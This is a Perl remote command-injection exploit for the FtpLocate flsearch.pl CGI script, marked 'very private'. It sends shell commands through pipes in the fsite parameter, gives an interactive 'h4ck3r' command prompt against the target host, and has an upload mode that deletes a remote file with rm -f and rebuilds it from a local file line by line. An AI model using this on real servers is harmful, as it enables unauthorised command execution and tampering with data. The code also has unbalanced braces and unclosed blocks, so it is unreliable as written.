#!/usr/bin/perl

# FtpLocate <= 2.02 (current) remote exploit
# VERY PRIVATE VERSION
# DO NOT DISTRIBUTE

# newbug Tseng [at] chroot.org


sub my_socket
{ 
my $s=IO::Socket::INET->new(PeerAddr => $host,
PeerPort => 80,
Proto => "tcp") or die "socket: ";

sub ch2hex
{ 
$chr = $_[0];
$out="";
for($i=0;$i<length($chr);$i++)
{
$ch = substr($chr,$i,1);

if($ch eq "\"")
{
$out.="%5c%22";
}

elsif($ch eq "\$")
{
$out.="%5c%24";
}
elsif($ch eq "\@")
{ 
$out.="%5c%40";
}
else
{
$out.="%".sprintf("%2.2x",ord($ch));
}
}
$out;

sub upload_file
{ 
print "local file: ";
chomp($lfile = <STDIN>);
print "remote file: ";
chomp($rfile = <STDIN>);

my $socket = &my_socket($host);
print $socket "GET $cgi?query=xx\&fsite=|rm%20-f%20$rfile| $junk";
close $socket;
print "remove $host:$rfile done.\n";

my @DATA = `cat $lfile`;
$num=1;
$total = scalar @DATA;
foreach $DATA (@DATA)
{ 
$DATA = &ch2hex($DATA);
my $socket = &my_socket($host);
print $socket "GET $cgi?query=xx\&fsite=|echo%20\"$DATA\"%20>>$rfile| $junk";
print "Send lfile \"$lfile\" to $host:$rfile ... ($num/$total)\n"; 
sleep(1);
close $socket;
$num++;
}
} 
use IO::Socket::INET; 

print "FtpLocate flsearch.pl remote exploit\n";
print "host: ";
chomp ($host = <STDIN>);
print "port (80): ";
chomp ($port = <STDIN>);
if($port eq "") 
{ 
$port = 80;
} 
print "version 1.0/1.1 (1.0): ";
chomp ($ver = <STDIN>);
if($ver eq "")
{ 
$ver = "1.0";

print "cmd/upload (cmd): "; chomp ($opt = <STDIN>);
if($opt eq "") { 
$opt = "cmd";

print "cgi path (/cgi-bin/ftplocate/flsearch.pl): ";
chomp ($cgi = <STDIN>);
if($cgi eq "")
{ 
$cgi = "/cgi-bin/ftplocate/flsearch.pl";

if($ver eq "1.0")
{ 
$junk = "HTTP/1.0\n\n";


else

$junk = "HTTP/1.1\nHost: $host\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030624 Netscape/7.1\nAccept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1\nAccept-Language:
zh-tw,en-us;q=0.7,en;q=0.3\nAccept-Encoding: gzip,deflate\nAccept-Charset: Big5,utf-8;q=0.7,*;q=0.7\nKeep-Alive: 300\nConnection:
keep-alive\n\n"; } 
if($opt eq "cmd") 

while(1){
print "h4ck3r\@[$host]:~\$ ";
chomp ($cmd = <STDIN>);
if($cmd ne "")
{
print "Send command \"$cmd\" to $host ...\n";
$socket = &my_socket($host);
$cmd =~ s/\s/%20/g;

print $socket "GET $cgi?query=xx\&fsite=|$cmd| $junk";
print "done.\n";
}
}

elsif($opt eq "upload")
{ 
&upload_file($lfile);

print "done.\n";